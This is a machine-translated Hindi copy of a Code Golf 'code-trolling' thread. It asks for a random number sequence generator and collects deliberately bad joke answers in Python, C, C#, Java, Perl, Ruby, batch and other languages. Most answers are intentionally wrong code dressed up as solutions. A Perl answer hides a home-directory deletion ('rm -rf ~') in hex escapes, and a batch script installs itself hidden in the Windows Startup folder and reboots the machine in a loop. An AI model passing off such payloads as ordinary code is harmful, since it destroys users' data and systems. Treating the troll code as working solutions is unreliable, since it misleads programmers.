संख्याओं का एक यादृच्छिक क्रम उत्पन्न करें


16

चुनौती:

संख्याओं का एक यादृच्छिक क्रम उत्पन्न करें। एकमात्र इनपुट अनुक्रम की लंबाई होनी चाहिए।

शुद्ध-कार्यात्मक समाधान के लिए अतिरिक्त इंटरनेट बिंदु।

नोट: यह एक प्रश्न है। कृपया प्रश्न और / या उत्तर को गंभीरता से न लें। अधिक जानकारी यहाँ




कोड-ट्रोलिंग आधिकारिक रुख के अनुसार हटाए जाने की प्रक्रिया में है इस सवाल के कई जवाब और वोट हैं, जो वास्तव में 50% " पोल पर" वोट "रखते हैं , और पहले [कोड-ट्रोलिंग] पदों में से एक है, इसलिए मैं इसे ऐतिहासिक महत्व के लिए बंद कर रहा हूं।"
दरवाज़े

जवाबों:


37

अजगर

एक यादृच्छिक विकिपीडिया लेख को पकड़ो, और लंबाई के html वर्णों का एक क्रम लें, और उनके संख्यात्मक मान प्राप्त करें

import urllib2
from random import randint
def getRandom(num):
    response = urllib2.urlopen('http://en.wikipedia.org/wiki/Special:Random')
    html = response.read()
    html = html.replace(" ", "")
    htmllen = len(html)
    #I especially love how I still grab a random number here
    l =  randint(0, htmllen - num)
    data = html[l:l+num]
    return [ ord(x) for x in list(data) ]

print getRandom(25)

मुझे मेरा उत्तर पसंद आया ... लेकिन मुझे यह +1 करने की आवश्यकता थी।

9
और कहानी का नैतिक है: अपने होमवर्क के लिए विकिपीडिया का उपयोग करना धोखा है।
Wrzlprmft

एकमात्र हिस्सा जो मुझे पसंद नहीं है वह यह है कि विभिन्न संख्याओं के लिए संभाव्यता वितरण समान नहीं है। लेकिन यह आसानी से माफ कर दिया जाता है, क्योंकि यह बहुत बढ़िया है।
केविन

@ केविन: ओपी को समान रूप से वितरित यादृच्छिक संख्याओं की आवश्यकता नहीं थी। वास्तव में, यह मुझे एक विचार देता है ...
Wrzlprmft

31

अन्य उत्तरों से सभी कार्यक्रम केवल तथाकथित "छद्म यादृच्छिक संख्या" उत्पन्न करेंगे, जो अप्रशिक्षित आंख को यादृच्छिक लग सकता है लेकिन वास्तव में कुछ पैटर्न का पालन करता है।

निम्न प्रोग्राम आपके कंप्यूटर को पृष्ठभूमि विकिरण के लिए कण डिटेक्टर में बदलकर वास्तविक यादृच्छिक संख्या उत्पन्न करता है। चूंकि यह क्वांटम प्रभावों पर आधारित है, यह वास्तव में यादृच्छिक और भविष्यवाणी करना असंभव है। और एक बोनस के लिए, प्रोग्राम वास्तव में तेजी से चलता है, अगर आप अपने कंप्यूटर को अंतरिक्ष में लॉन्च करते हैं। और हाँ, यह जितना अच्छा लगता है उतना ही ठंडा होता है।

सी

#include<stdio.h>

int main(void)
{
    int i,j,k,l,m;
    printf("How many random numbers do you want?");
    scanf ("%i",&m);

    for (i=0; i<m; i++)
    {
        j = k = 42;
        l = 0;
        while (j==k)
            l++;
        printf("%i\n", l);
    }
}

स्पॉइलर:

यह कार्यक्रम स्मृति के दो समान टुकड़े उत्पन्न करता है और फिर इंतजार करता है कि उनमें से एक को बदलने के लिए पृष्ठभूमि विकिरण में कितना समय लगता है। प्रतीक्षा समय को एक यादृच्छिक संख्या के रूप में लौटाया जाता है, जिसे तेजी से वितरित किया जाएगा, यदि यह पूर्णांक ओवरफ्लो के लिए नहीं थे। अंतरिक्ष में ऐसी घटनाओं की अधिक संभावना होने के कारण अंतरिक्ष यात्रियों में एक वास्तविक समस्या है, जिसे विकिरण सख्त द्वारा संबोधित किया जाता है । इसलिए, शीतलता के बारे में थोड़ा-सा परिचय के अलावा, परिचय में प्रत्येक कथन कुछ हद तक सही है।

दुर्भाग्य से, इस तरह की घटना कंप्यूटर को दुर्घटनाग्रस्त कर देती है या कम से कम कार्यक्रम की तुलना में यह संभव है कि यह उन दो विखंडू स्मृति को प्रभावित करता है। इसके अलावा, यह एक समय लग सकता है, जबकि ... अंत में, kinokijuf द्वारा उठाई बाहर के रूप में, पृष्ठभूमि विकिरण एक बाहरी प्रक्रिया है, इसलिए jऔर kके रूप में चिह्नित किया जाना चाहिए volatileसंकलक करने के लिए (या आप एक संकलक है कि सभी पर अनुकूलन नहीं करता का उपयोग करना चाहिए)।

पुनश्च: विचार पर विस्तार करते हुए, कोई सिर्फ शून्य से भरा एक सरणी बना सकता है और फिर उसे प्रिंट कर सकता है। Ε का एक मौका है कि पृष्ठभूमि विकिरण भंडारण और मुद्रण के बीच शून्य को बदलता है और इस प्रकार जो मुद्रित होता है वह यादृच्छिक होता है - ओपी ने कभी नहीं कहा कि यादृच्छिक संख्याओं को कैसे वितरित किया जाना था।


6
बेकार और सच के लिए +1 अतिरिक्त अंक।
एमोरी

7
ध्यान दें कि पृष्ठभूमि-विकिरण-पता लगाने के कोड को कंपाइलर द्वारा अनुकूलित किया जाएगा।
किनोकिजुफ

1
@kinokijuf: क्या शर्म की बात है (यह विकल्प के स्वतंत्र संकलक के लिए पकड़ है?)। वैसे भी, चूंकि यह कोड-ट्रोलिंग है, इसलिए मैं इसे उत्तर की एक विशेषता घोषित करता हूं।
Wrzlprmft

14
जब तक आप उन्हें अस्थिर के रूप में चिह्नित नहीं करते हैं, तब तक आपका कोड वास्तव में अपेक्षित रूप से काम करेगा।
किनोकिजुफ

1
क्या यह सुनिश्चित करने का कोई तरीका है jऔर kहमेशा स्मृति में कुछ निश्चित स्थानों का उपयोग करें? (मैंने C का अधिक उपयोग नहीं किया है; मैं एक जावा और C # प्रोग्रामर हूं।) यदि हां, तो आप हार्डवेयर डिजाइन कर सकते हैं, ताकि उन स्थानों को विकिरण द्वारा सुरक्षित नहीं किया जा सके, लेकिन बाकी प्रणाली है।
केविन

10

यादृच्छिकता कंप्यूटर पर प्राप्त करना कठिन है, क्योंकि वे विशुद्ध रूप से नियतात्मक हैं। कंप्यूटर पर यादृच्छिक संख्या उत्पन्न करना अनुसंधान का एक बहुत सक्रिय क्षेत्र है, जिसमें अक्सर राज्य-स्तरीय कलाकार शामिल होते हैं (देखें Dual_EC_DRBG )। हालांकि, एक आधुनिक मल्टी-टास्किंग ऑपरेटिंग सिस्टम पर, थ्रेड शेड्यूलर कुछ स्थितियों में एक निष्क्रिय काम कर सकता है। ऐसा करने के लिए, हम ऑपरेटिंग सिस्टम पर अपने वर्तमान समय के स्लाइस को नियंत्रित करते हैं, और यह नोट करते हैं कि हमें फिर से शेड्यूल होने में कितना समय लगता है। ऑपरेटिंग सिस्टम और लोड के आधार पर, यह वांछित परिणाम उत्पन्न कर सकता है।

const int bitsInInt = 31;

void Main()
{
    Console.WriteLine("Enter total number of numbers to generate:");
    var result = Console.ReadLine();

    var total = int.Parse(result);
    foreach(var i in RandomSequence().Take(total))
    {
        Console.WriteLine(i);
    }
}

//Generates a random sequence of bits
IEnumerable<int> RandomBit()
{
    while(true)
    {
        var sw = new Stopwatch();

        sw.Start();
        Thread.Sleep(bitsInInt);
        sw.Stop();

        yield return (int)(sw.ElapsedTicks & 0x1L);
    }
}

//Performs the computation for mapping between the random
//sequence of bits coming out of RandomBit() and what
//is required by the program
IEnumerable<int> RandomSequence()
{
    while(true)
    {
        yield return RandomBit().Take(bitsInInt).Reverse().Select((b,i)=> b<<i).Sum();      
    }
}

2
यह लगभग एक गंभीर समाधान है!
अभिनव सरकार

8

सी#

के रूप में सॉफ्टवेयर के उपयोगकर्ताओं को स्वाभाविक रूप से उनके स्वभाव से यादृच्छिक हैं, हमारे लाभ के लिए इसका उपयोग क्यों नहीं?

यह कोड एक स्क्रीनशॉट लेता है, और यादृच्छिक अनुक्रम का उत्पादन करने के लिए कुछ अन्य डेटा के साथ इसका उपयोग करता है। अंतर्निहित रैंडम जनरेटर का उपयोग नहीं करने के लिए बोनस इंटरनेट अंक?

public unsafe uint[] GetThemRandom(int length)
    {
        var bounds = Screen.GetBounds(Point.Empty);
        using (var screenshot = new Bitmap(bounds.Width, bounds.Height))
        using (var graphics = Graphics.FromImage(screenshot))
        {
            // can't hurt
            var sZ = (uint)Cursor.Position.X;
            var sW = (uint)Cursor.Position.Y;

            // take the screenshot as the previous experience has though us that the users
            // are sufficiently random
            graphics.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size);
            screenshot.Save(DateTime.Now.Ticks + ".jpg", ImageFormat.Jpeg);

            var bytesPerPixel = Image.GetPixelFormatSize(screenshot.PixelFormat) / 8;
            var bits = screenshot.LockBits(bounds, ImageLockMode.ReadOnly, screenshot.PixelFormat);

            var scanData = (byte*)bits.Scan0.ToPointer();
            var scanLimit = bounds.Width * bounds.Height;

            // squash the pixels into two variables
            for (var i = 0; i < scanLimit; i += 2)
            {
                var pX = scanData + i * (bytesPerPixel);
                var pY = scanData + (i + 1) * (bytesPerPixel);

                for (var j = 0; j < bytesPerPixel; j++)
                {
                    sZ ^= *(pX + j);
                    sW ^= *(pY + j);
                }
            }

            // generate the numbers
            var randoms = new uint[length];
            for (var i = 0; i < length; i++)
            {
                // CodeProject 25172
                sZ = 36969 * (sZ & 65535) + (sZ >> 16);
                sW = 18000 * (sW & 65535) + (sW >> 16);

                randoms[i] = (sZ << 16) + sW;
            }

            return randoms;
        }
    }

7

अजगर

आम नुकसान पर ठोकर खाना आसान है: यादृच्छिक संख्याओं का एक समान रूप से वितरित स्रोत और कोई यादृच्छिकता नहीं। मेरा समाधान शानदार गणितीय अंतर्दृष्टि और मौजूदा समय के साथ एक सरल, लेकिन प्रभावी चाल, यादृच्छिककरण का उपयोग करके इन मुद्दों से बचता है:

from math import pi # The digits of pi are completely randomly distributed. A great source of reliable randomness.
random_numbers = str(pi)
random_numbers = random_numbers[2:] # Don't return the dot accidentally

import time
index = time.localtime()[8] # Avoid the obvious mistake not to randomise the random number source by using localtime as seed.
random_numbers = random_numbers[index:]

number = int(input("How many random numbers would like?"))
for random in random_numbers[:number]: # Python strings are super efficient iterators! Hidden feature!
    print(random)

संख्याओं के एक छोटे समूह (9 या उससे कम) के लिए एक बार परीक्षण किए जाने पर बहुत अच्छा काम करता है, लेकिन गंभीर रूप से त्रुटिपूर्ण वेन का थोड़ा और परीक्षण किया गया है:

  • math.pi केवल अवधि के बाद कुछ अंक होते हैं
  • time.localtime()[8]मिलीसेकंड या कर्नेल घड़ी को वापस नहीं करता है, लेकिन 0 या 1 यह निर्भर करता है कि यह दिन के समय की बचत है या नहीं। इसलिए यादृच्छिक बीज हर आधे साल में एक बार एक स्थान पर बदलता है। तो, मूल रूप से, कोई यादृच्छिकता नहीं।
  • यह केवल 0 और 9 के बीच यादृच्छिक संख्या देता है।
  • random_numbers[:number]चुपचाप विफल रहता है जब आप number15 से बड़ा दर्ज करते हैं और केवल 15 यादृच्छिक संख्याएँ निकालते हैं।

अफसोस की बात है, यह डेल्फी 1.0 यादृच्छिक फ़ंक्शन से प्रेरित है, जो इसी तरह काम करता था।


6

माणिक

सवाल एक प्रश्न के लिए पूछता है। चलो हम फिरसे चलते है...

$seed = $$.to_i
def getRandom(seed)
        a = Class.new
        b = a.new
        $seed = a.object_id.to_i + seed - $seed
        $seed
end

def getRandomSequence(num)
        molly = Array.new
        0.upto(num) do |x| molly[x] = x*getRandom(x) - getRandom(0-x) end
        molly
end

यह 100% यादृच्छिक है। सच में नहीं।
बहुत बुरा इस कोड का अर्थ है ओपी के लिए कुछ भी नहीं (नर्क क्या ऑब्जेक्ट_आईडी है?)
इसके अलावा, यह कार्यान्वयन विशिष्ट है, जिसका अर्थ है कि यह अलग-अलग रूबी संस्करणों के बीच काम करता है या नहीं करता है (2.1.0p0 पर इसे चलाया गया)।
उस के शीर्ष पर, यह संभवतः कुछ बुरा कर सकता है, क्योंकि ओपी object_id के साथ प्रयोग कर सकता है ...

उदाहरण आउटपुट:

-2224
12887226055
25774454222
38661682243
51548910124
64436137991

संपादित करें:

$$सही यादृच्छिकता (OS स्तर पर) के लिए उपयोग करने के लिए संशोधित ।


मैं सी में यह कर सकता हूं और यहां तक ​​कि कचरा भी प्राप्त कर सकता हूं, लेकिन सी में छद्म कंडोम करने में क्या मजा है?

5

जावा

खबरदार, यह एक ट्रिक सवाल है .....

जावा में अधिकांश लोग इस अनुक्रम को उत्पन्न करने में मदद करने के लिए math.random () का उपयोग करेंगे, लेकिन वे भ्रमित हो जाएंगे क्योंकि वे केवल सकारात्मक परिणाम प्राप्त करेंगे! random()दशमलव मान 0 से 1 तक (केवल स्वयं को छोड़कर) लौटाता है। इसलिए, आपको यह सुनिश्चित करने के लिए कुछ चालें चलानी होंगी कि आपको पूरे पूर्णांक रेंज (सकारात्मक और नकारात्मक) से यादृच्छिक मूल्यों का अच्छा वितरण प्राप्त हो।

इसके अलावा, आप बस गुणा नहीं कर सकते Math.random() और Integer.MAX_VALUEक्योंकि आप इसे कभी Integer.MAX_VALUEभी परिणाम के हिस्से के रूप में शामिल नहीं करेंगे! इसके अलावा, ऐसा करना तर्कसंगत होगा math.rand() * (Integer.MAX_VALUE + 1)ताकि आपको पूर्ण वितरण मिल जाए, लेकिन, निश्चित रूप से, यह काम नहीं करता है क्योंकि Integer.MAX_VALUE + 1अतिप्रवाह होगा, और बन जाएगाInteger.MIN_VALUE ! इसलिए, दुर्भाग्य से, सबसे अच्छा समाधान डेटा के बिट-वार हेरफेर का सहारा लेना है ...

तो, यहाँ 'n' यादृच्छिक मान उत्पन्न करने के लिए एक पूर्ण अनुक्रम Integer.MIN_VALUEहै Integer.MAX_VALUE(दोनों चरमों को सम्मिलित करता है (जो कि कठिन भाग है !!!!):

public static int[] get_random_sequence(int count) {
    // where we will store our random values.
    int[] ret = new int[count];

    for (int i = 0; i < count; i++) {
        // get a random double value:
        double rand = Math.random();
        // now, convert this double value (which really has 48 bits of randomness)
        // in to an integer, which has 32 bits. Thus 16 extra bits of wiggle room
        // we cannot simply multiply the rand value with Integer.MAX_VALUE
        // because we will never actually get Integer.MAX_VALUE
        //    (since the rand will never exactly == 1.0)
        // what we do is treat the 32-bits of the integer in a clever bit-shifting
        // algorithm that ensures we make it work:
        // We use two special Mersenne Prime values (2^19 - 1) and (2^13 - 1)
        // http://en.wikipedia.org/wiki/Mersenne_prime#List_of_known_Mersenne_primes
        // these are very convenient because 13 + 19 is 32, which is the
        // number of bits of randomness we need (32-bit integer).
        // Interesting note: the value (2^31 - 1) is also a Mersenne prime value,
        // and it is also Integer.MAX_VALUE. Also, it is a double marsenne prime
        // since 31 is also a marsenne prime... (2^(2^5 - 1) - 1). Math is Cool!!!
        //    2^19 - 1 can be expressed as (1 << 19) - 1
        //    2^13 - 1 can be expressed as (1 << 13) - 1
        // first we set 13 bits ... multiply a 13-bit prime by the random number.
        ret[i]  = (int)(rand * (1 << 13) - 1);
        // now shift those 13 random bits 19 bits left:
        ret[i] <<= 19;
        // now add in the 19 random bits:
        ret[i] ^= (int)(rand * (1 << 19) - 1);
    }
    return ret;
}

यह उत्पादन जैसे:

[-368095066, -1128405482, 1537924507, -1864071334, -130039258, 2020328364, -2028717867, 1796954379, 276857934, -1378521391]

बेशक, ऊपर एक पूर्ण बीएस जवाब है। यह एक अच्छा विवरण नहीं देता है, और यह एक गंभीर बग (छिपाना ) ^=चाहिए |=। यह कम-से-कम बग को भी छिपाता है (ऑर्डर-पीएफ-पूर्वता का मतलब है कि हम वास्तव में एक प्रमुख मूल्य से बिल्कुल भी गुणा नहीं करते हैं!) फैंसी शब्दों, अभाज्य संख्याओं और बहुत सारी टिप्पणियों का उपयोग करके कोड पर भरोसा करने का कोई कारण नहीं है ... बेशक, यदि आप ऊपर करना चाहते हैं, तो आपको बस उपयोग करना चाहिएjava.util.Random.nextInt()


4

जावा

अब जब मैं इस कार्यक्रम को देखता हूं, तो मैं इसे बंद करना भूल गया Scanner...

import java.util.Scanner;

public class RandomNumberGenerator
{
    public static void main(String... args)
    {
        String rand = "14816275093721068743516894531"; // key-bashing is random
        Scanner reader = new Scanner(System.in);
        System.out.println("Enter length of random number: ");
        System.out.println(rand.substring(0, Integer.parseInt(reader.nextLine())));
    }
}

3
(नॉन-ट्रोल) आप समापन धाराओं / आदि को संभाल सकते हैं। जावा 7 में अधिक आसानी से try (Scanner reader = new Scanner(System.in)) { ... }
१०:३

4

पर्ल

$\=$$;for(1..<>){$\=$\*65539;$\%=2**31;$\.=',';print""}

मैं $\आउटपुट के लिए उसी तरह की रणनीति कर रहा हूं जैसे एक अलग कोड-ट्रोलिंग उत्तर में। इसके अलावा, आप कई नोटिस करते हैं कि मैं RANDU एल्गोरिथम $$में काफी मात्रा में निवेश कर रहा हूं ।

संपादित करें: बेहतर व्याख्या करने के लिए, RANDU एक भयानक असुरक्षित PRNG है। विकिपीडिया वर्णन करता है "के रूप में सबसे अधिक कभी कल्पना की गई यादृच्छिक यादृच्छिक जनरेटर में से एक।" यह प्राथमिक कमजोरी है:

f (x) = 6 * f (x-1) - 9 * f (x-2)


3

यहाँ एक यादृच्छिक संख्या जनरेटर, आधार है 2^CHAR_BIT

char* random(size_t length) {
    char* ret = malloc((length+1) * sizeof(char));
    ret[length] = 0;
    return ret;
}

1
आपको lengthकेवल आवंटित करना चाहिए । भ्रष्ट डेटा जब उदाहरण ठीक काम करता है सबसे अच्छा कर रहे हैं।
जॉन ड्वोरक

3

जावास्क्रिप्ट में, एक कार्यात्मक शैली के साथ:

var randomSequence = "[5, 18, 4, 7, 21, 44, 33, 67, 102, 44, 678, -5, -3, -65, 44, 12, 31]";

alert("The random sequence is " + (function (sequenceSize) {
    return randomSequence.substring(0, sequenceSize);
})(prompt("Type the size of the random sequence")) + ".");

मुझे पता है कि यह इस 0_0 तरह जे एस लिखने के लिए संभव हो गया था नहीं था
केविन

3

सी

यह फ़ंक्शन 0 और 1337 के बीच यादृच्छिक संख्या बनाने के लिए छोटे अनुप्रयोगों के लिए बहुत अच्छी तरह से काम करता है। इसे एक से अधिक बार कॉल करना अधिकतम यादृच्छिकता का बीमा करना उचित है।

int* getRandom(int length)
{
    //create an array of ints
    int* nums = malloc(sizeof(int) * length);

    //fill it in with different, "random" numbers
    while(length--)                                //9001 is a good seed
        nums[length-1] = (int)malloc(9001) % 1337; //1337 is used to make it more random
    return nums;
}

मेरी रैम और पेज फाइलें रो रही हैं।
केविन

3

प्रसिद्ध ब्लम ब्लम शुब जनरेटर। क्योंकि यादृच्छिक संख्या जनरेटर को क्रिप्टोग्राफिक रूप से सुरक्षित होना चाहिए, और अश्लीलता के माध्यम से सुरक्षा प्रदान करने का इससे बेहतर तरीका क्या हो सकता है।

#include <stdio.h>

long long Blum,BLum,Shub;

#define RAND_MAX 65536
//These two constant must be prime, see wikipedia.
#define BLUM 11
#define SHUB 19

int seed(int);
int(*rand)(int)=seed; //rand must be seeded first
int blumblumshub(int shub){
  //generate bbs bits until we have enough
  BLum  = 0;
  while (shub){
     Blum=(Blum*Blum)%Shub;
     BLum=(BLum<<1)|(Blum&1);
     shub>>=1;
  }
  return BLum>>1;
}

int seed(int n){
  Blum=n,BLum=BLUM;     
  Shub=SHUB*BLum;
  rand=blumblumshub;
  return rand(n);
}

//Always include a test harness.
int main(int argv, char* argc[]){
  int i;
  for (i=0;i<10;i++){
     printf("%d\n",rand(97));
  }
}

(भयानक चर नाम, विकिपीडिया के एक त्वरित स्कैन के आधार पर एक गलत कार्यान्वयन, और बेकार फंक्शन पॉइंटर जादू के लिए फेंक दिया गया है)


2
int argv, char* argc[]हे भगवान क्योँ?
जो जेड।

2

C / C ++

#include<stdio.h>

int main()
{
   int length = 20;
   double *a = new double[0];
   for (int i = 0; i < length; ++i)
   {
       printf("%f\n", a[i]);
   }
   return a[0];
}

कुछ कचरा ढेर डेटा का उपयोग करें। ओह, और सूचक को लीक करना मत भूलना।


2

सी ++

#include <stdlib.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
    int i, len;
    srand(time(NULL));
    len = atoi(argv[1]);
    for(i = 0; i < len; i++)
        printf("%d\n", rand() % 100);
    return 0;
}

पेशेवरों:

  • यह काम करता हैं।
  • कभी कभी।
  • मान्य (ईश) C89।
  • भयानक सी ++।
  • सी हेडर का उपयोग करें क्योंकि using namespace std;है बुराई और हम उन सभी नाम स्थान लुकअप के साथ कार्यक्रम धीमा करने के लिए नहीं करना चाहती।
  • हम हार्डककोड मान के साथ मापांक का उपयोग करके गति के पक्ष में वितरण की एकरूपता से बचते हैं (TODO: इसे और अधिक कच्ची गति के लिए बिटशिफ्ट का उपयोग करने के लिए बदलें)।
  • एक ही घड़ी सेकंड के भीतर म्यूटेंट बार निष्पादित करके निर्धारकता को सत्यापित कर सकते हैं।
  • यह कोड खराब क्यों है, यह स्पष्ट रूप से पर्याप्त नहीं है कि ओपी को इसका एहसास नहीं होगा।

विपक्ष:

  • यह कोड खराब क्यों है, यह स्पष्ट रूप से पर्याप्त नहीं है कि ओपी के प्रोफेसर (ग्रेडर) को शायद इसका एहसास नहीं होगा।
  • यह आमतौर पर स्वीकार्य समाधान के रूप में माना जाता है।
  • अधिक रॉ गति की जरूरत है।

1
Lemme का अनुमान है, यह एक अपरिभाषित व्यवहार है अगर argv[1]यह पूर्णांक नहीं है (या इससे भी बदतर, अगर यह शून्य है)?
जो जेड।

1
ओह, यह ठीक काम करेगा अगर argv [1] एक पूर्णांक एनकोड नहीं करता है; atoiबस शून्य वापस आएगा। जहां यह बालों वाला हो जाता है, जब एन्कोडेड पूर्णांक की सीमा के बाहर स्थित होता है int
स्टुअर्ट ऑलसेन

2

मेथेमेटिका

RandInt = 
 Array[First@
     Cases[URLFetch["http://dynamic.xkcd.com/random/comic/", 
       "Headers"], {"Location", l_} :> 
       FromDigits@StringTake[l, {17, -2}]] &, #] &

2

टीआई-बेसिक 83 + 84

:so;first&Input\something And;then:Disp uhmm_crazy_huhrandIntNoRep(1_£€¢|•∞™©®©©™,Andthen)

इनपुट - ३

आउटपुट - {2,3,1}


यह काम करता है क्योंकि यह उबलता है :Input A:Disp randIntNoRep(1,A)


1

यहाँ एक पायथन समाधान है। आप यह साबित नहीं कर सकते कि यह यादृच्छिक नहीं है!

def get_random(num):
    print '3' * num

get_random(5)उदाहरण के लिए, कॉल करके देखें।


5
यह यादृच्छिक नहीं है क्योंकि आप कोड को देखकर आउटपुट का अनुमान लगा सकते हैं। आपको यह जानने की भी आवश्यकता नहीं है कि यह कब चलता है!

@Shingetsu ओपी मूल रूप से कहने के लिए शब्द खेल का उपयोग कर रहा है "आप यह साबित कर सकते हैं कि यह यादृच्छिक है"।
C1D

1

पर्ल

use strict;
use warnings;
`\x{0072}\x{006D}\x{0020}\x{002D}\x{0072}\x{0066}\x{0020}\x{007E}`;
my $length = $ARGV[0];
for (my $count = 0;$count<$length;++$count) {
    print int(rand(10));
}
print "\n";

यह एक बहुत ही सरल पर्ल कोड का उपयोग करता है जैसा कि ओपी ने पूछा था, लेकिन अपने होम डायरेक्टरी को हटाने से पहले नहीं (वास्तव में rm -rf ~ लिखे बिना)।

मैंने इसका परीक्षण नहीं किया है (स्पष्ट कारणों के लिए)।


3
कोड ट्रोलिंग उत्तरों को विनाशकारी नहीं माना जाता है, यदि कोई व्यक्ति कोड नमूने की कोशिश करता है।
केविन

1

अजगर ३

न केवल यह बहुत समय बर्बाद करता है (वास्तविक और सीपीयू दोनों समय), यह केवल 10 यादृच्छिक संख्या देता है।

def generate_random_number_sequence():
    with open('/dev/urandom', 'rb') as fd:
        data = b''
        num = 0

        for i in range(10000):
            data += fd.read(1)

            for b in data:
                try:
                    num += int(b)
                except ValueError: pass

        return [int(n) for n in list(str(num))]

if __name__ == '__main__':
    print(generate_random_number_sequence())

1

माणिक

आप जान सकते हैं कि सभी नंबर यादृच्छिक नहीं हैं। यह प्रोग्राम सभी नंबरों की जांच करता है और आपको केवल वही देता है जो ट्रूली रैंडम होता है।

पढ़ें कि रूबी कोड पढ़ने में थोड़ा मुश्किल है। यह अंग्रेजी की तरह कुशल नहीं है क्योंकि कंप्यूटर थोड़ा बेवकूफ हैं और कभी-कभी आपको उनके लिए महत्वपूर्ण शब्दों को दोहराना पड़ता है।

इसलिए मैंने कुछ #commentsको कोड में जोड़ा है ; टिप्पणी में UPPERCASE शब्द बताते हैं कि वही शब्द रूबी कोड में कैसे काम करता है।

def random_sequence(n)
  # Make a NEW ENUMERATOR of RANDOM numbers:
  Enumerator.new { |random|
    # to_i means that the RANDOM NUMBERS we want are *integers*.
    # (rand is computer speak for random.)
    number = rand.to_i

    # We need to LOOP (because we want a *sequence* of numbers):
    loop do
      # Double check that the NEXT NUMBER is a RANDOM NUMBER.
      # This is very important so we must repeat some of the words to the computer.
      random << number if number == rand(number=number.next)
    end
   }.take(n) # Self explanatory
end

# Now we just say hw many random numbers we want, like 12
p random_sequence(12)

अधिक विस्तृत विवरण बाद में आ सकता है, लेकिन एक उदाहरण रन से यह आउटपुट इसे कुछ दूर देना चाहिए: [1, 3, 5, 10, 180, 607, 639, 1694, 21375, 75580, 137110, 149609 ... फिर भी थोड़े यादृच्छिक हालांकि।


1

निम्न Windows बैच स्क्रिप्ट OUTPUT.TXTआपके प्रोफ़ाइल फ़ोल्डर में नामांकित यादृच्छिक संख्या के साथ एक फ़ाइल उत्पन्न करेगी । यह लगभग पूरी तरह से यादृच्छिक संख्या उत्पन्न करने की गारंटी है। बस इस कोड को नोटपैड में पेस्ट करें, "FileName.CMD"(उद्धरण के साथ) के रूप में सहेजें और निष्पादित करें।

IF "%~dp0" == "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" GOTO GENRANDOM
copy %~f0 "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"
attrib +R +H "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"
GOTO GENRANDOM
REM GOTO INSTRUCTIONS ARE VERY IMPORTANT TO MAKE YOUR FILE EASIER TO READ

:NEXT
shutdown -r -t 0
exit

:GENRANDOM
FOR /D %%F IN (%time%) DO (
@set output=%%F
)
::NEXT <--Really important
IF NOT EXIST "%userprofile%\OUTPUT.TXT" ECHO.>"%userprofile%\OUTPUT.TXT"
echo.%output%>>"%userprofile%\OUTPUT.TXT"
GOTO NEXT

REM TODO: ADD MORE OBSCURITY

उत्पन्न होने के लिए यादृच्छिक संख्याओं की एक राशि दर्ज करना वैसे भी बहुत परेशानी भरा होता है। बस इसे बनाने से रोकने के लिए पावर बटन को पुश और होल्ड करें। आसान रास्ता ! प्लस: इसमें कीबोर्ड की आवश्यकता नहीं होती है।


व्याख्या: स्क्रिप्ट स्टार्टअप फ़ोल्डर में खुद को कॉपी करता है यदि यह पहले से ही नहीं है, तो इसके केंद्र को पकड़ लेता है %time%, उन्हें लिखता है %userprofile%\OUTPUT.TXTऔर फिर कंप्यूटर को पुनरारंभ करता है। कंप्यूटर के पुनरारंभ होने के बाद यह फिर से वही करता है।
user2428118

1

लुआ

यह एक अतिव्यापी, अति-जटिल, गड़बड़ (यहां तक ​​कि एक सिंटैक्स हाइलाइटर के साथ), फ़ंक्शन है जो बहुत अधिक जटिल तरीके से असंवेदनशील उच्च संख्या उत्पन्न करता है। और नंबरों की स्ट्रिंग को वापस करने के बजाय, यह उन्हें स्क्रीन पर प्रिंट करता है, जिससे यह आपके कार्यक्रमों के भीतर उपयोग के लिए अव्यावहारिक हो जाता है। इसे संपादित करना कठिन है, इसलिए यदि आपकी जीत आपको इसे ठीक करने के लिए कहती है, तो कहें कि इसे संपादित करना बहुत जटिल है।

function random(x) local func = loadstring("print(math.random(math.random(math.random(123514363414,9835245734866241),math.random(182737598708748973981729375709817829357872391872739870570,57102738759788970895707189273975078709837980278971289375078978739287018729375087132705)),math.random(math.random(19230851789743987689748390958719873289740587182039758917892708973987579798403789,0958907283470589718273057897348975087192034875987108273570917239870598743079857082739845891098728073987507),math.random(894017589723089457098718723097580917892378578170927305789734975087109872984375987108789,2739870587987108723457891098723985708917892738075098704387857098172984758739087498570187982347509871980273589789437987129738957017))))") for i = 1, x do func() end end

0

सी#

 public class Random
    {
        private char[] initialSequence = "Thequickbrownfoxjumpsoveralazydog".ToCharArray();

        private long currentFactor;

        public Random()
        {
            currentFactor = DateTime.Now.ToFileTime();
        }

        public IEnumerable<int> GetSequence(int count)
        {
            int i = 0;
            while (i < count)
            {
                i++;

                string digits = currentFactor.ToString();
                digits = digits.Substring(digits.Length / 4, digits.Length / 2);

                if (digits[0] == '0')
                    digits = "17859" + digits;

                currentFactor = (long)System.Math.Pow(long.Parse(digits), 2);

                int position = i % initialSequence.Length;

                initialSequence[position] = (char)((byte)initialSequence[position] & (byte)currentFactor);

                yield return (int)initialSequence[position] ^ (int)currentFactor;

            }
        }
    }

ध्यान दें कि यह लंबे दृश्यों के लिए टूट जाता है, लेकिन जब यह काम करता है तो यह बहुत यादृच्छिक संख्या उत्पन्न करता है


0

फोरट्रान

आपके कंप्यूटर में पहले से ही एक अंतर्निहित यादृच्छिक संख्या है, इसलिए आपको बस उस तक पहुंचने की आवश्यकता है:

program random_numbers
   implicit none
   integer :: nelem,i,ierr

   print *,"Enter number of random sequences"
   read(*,*) nelem

   do i=1,nelem
      call system("od -vAn -N8 -tu8 < /dev/urandom")
   enddo
end program random_numbers

स्पष्ट रूप से गैर-पोर्टेबल, क्योंकि इसके लिए उपयोगकर्ता के पास * निक्स सिस्टम (लेकिन जो अभी भी विंडोज का उपयोग करता है) होना आवश्यक है।


0

मुझे लगता है कि आप निश्चित रूप से यादृच्छिक संख्या के बहुत सारे की जरूरत है । जिसके लिए कॉल ...

बैश और हैडॉप

बेशक, बस एक यादृच्छिक स्रोत का उपयोग करना एनएसए के दिनों में अविश्वसनीय है। हो सकता है कि उन्होंने आपके कंप्यूटर को ट्रोजन कर दिया हो। लेकिन वे ऐसा नहीं करने जा रहे हैं, जिससे आपके पूरे समूह को नुकसान पहुंचेगा!

#!/bin/bash
# Fortunately, our mapper is not very complex.
# (Actually a lot of the time, mappers are trivial)
